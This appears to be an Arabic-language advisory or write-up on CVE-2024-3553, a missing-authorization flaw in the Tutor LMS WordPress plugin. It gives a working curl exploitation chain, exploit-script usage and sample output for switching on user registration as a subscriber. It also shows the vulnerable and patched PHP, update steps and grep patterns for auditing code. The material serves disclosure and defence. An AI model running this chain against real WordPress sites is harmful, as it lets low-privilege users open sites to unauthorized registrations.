# استغلال آلي كامل
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# التحقق من حالة التسجيل فقط
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

# تسجيل الدخول كمشترك أو أي مستخدم مصادق عليه
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

# يمكن لأي مستخدم مصادق عليه الوصول إلى /wp-admin/ (حتى المشتركين)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

# إرسال طلب لتمكين تسجيل المستخدمين
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

# التحقق مما إذا كان التسجيل مفعلاً الآن
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "التسجيل مُفعَّل" || echo "التسجيل مُعطَّل"

# كمستخدم مصادق عليه، قم بزيارة:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

======================================================================
CVE-2024-3553 Exploit - Tutor LMS Missing Authorization
الهدف: https://target.com
======================================================================

[*] التحقق من حالة التسجيل الحالية...
[+] التسجيل مُعطَّل حالياً

[*] محاولة تسجيل الدخول باسم: subscriber
[+] تم تسجيل الدخول بنجاح باسم: subscriber

[*] الخطوة 2: استخراج التوكن من منطقة الإدارة...
[+] تم العثور على التوكن: abc123def456

[*] الخطوة 3: تنفيذ الاستغلال لتمكين تسجيل المستخدمين...
[*] الهدف: https://target.com
[*] باستخدام التوكن: abc123def456
[*] رابط الاستغلال: https://target.com/wp-admin/index.php
[*] المعاملات: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] حالة الاستجابة: 200
[+] تم إرسال طلب الاستغلال بنجاح!

[*] الخطوة 4: التحقق من نجاح الاستغلال...
[+] التسجيل مُفعَّل حالياً

======================================================================
[!] تم الاستغلال بنجاح!
[!] تم تمكين تسجيل المستخدمين الآن
[!]
[!] الأثر: تمكن مهاجم بحساب ذي امتيازات منخفضة (مشترك)
[!] من تمكين تسجيل المستخدمين في موقع كان التسجيل فيه معطَّلاً.
[!] قد يسمح ذلك بإنشاء حسابات إضافية،
[!] مما قد يؤدي إلى البريد العشوائي أو الوصول غير المصرح به.
======================================================================

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // CRITICAL FLAW: is_admin() only checks if in admin area, NOT user role!
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // NO CAPABILITY CHECK - Any authenticated user can execute this!
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // SECURITY FIX: Added capability check
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // Now properly protected
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

if ( is_admin() ) {
    // ظناً أن هذا يعني "المستخدم مسؤول"
    update_option( 'sensitive_option', $value );
}

if ( current_user_can( 'manage_options' ) ) {
    // يتحقق بالفعل مما إذا كان المستخدم لديه صلاحيات المسؤول
    update_option( 'sensitive_option', $value );
}

# عبر WP-CLI
wp plugin update tutor --version=2.7.0

# عبر لوحة إدارة ووردبريس
لوحة التحكم → الإضافات → ابحث عن "Tutor LMS" → انقر "تحديث الآن"

# تحقق مما إذا تم تعديل إعداد التسجيل مؤخراً
wp option get users_can_register

# مراجعة عمليات تسجيل المستخدمين الأخيرة
wp user list --orderby=registered --order=DESC --number=20

# 1. ابحث عن is_admin() بدون فحص صلاحية
grep -r "is_admin()" . | grep -v "current_user_can"

# 2. ابحث عن تحديثات خيارات مباشرة
grep -r "update_option\|add_option" .

# 3. ابحث عن معالجات AJAX بدون فحص صلاحية
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"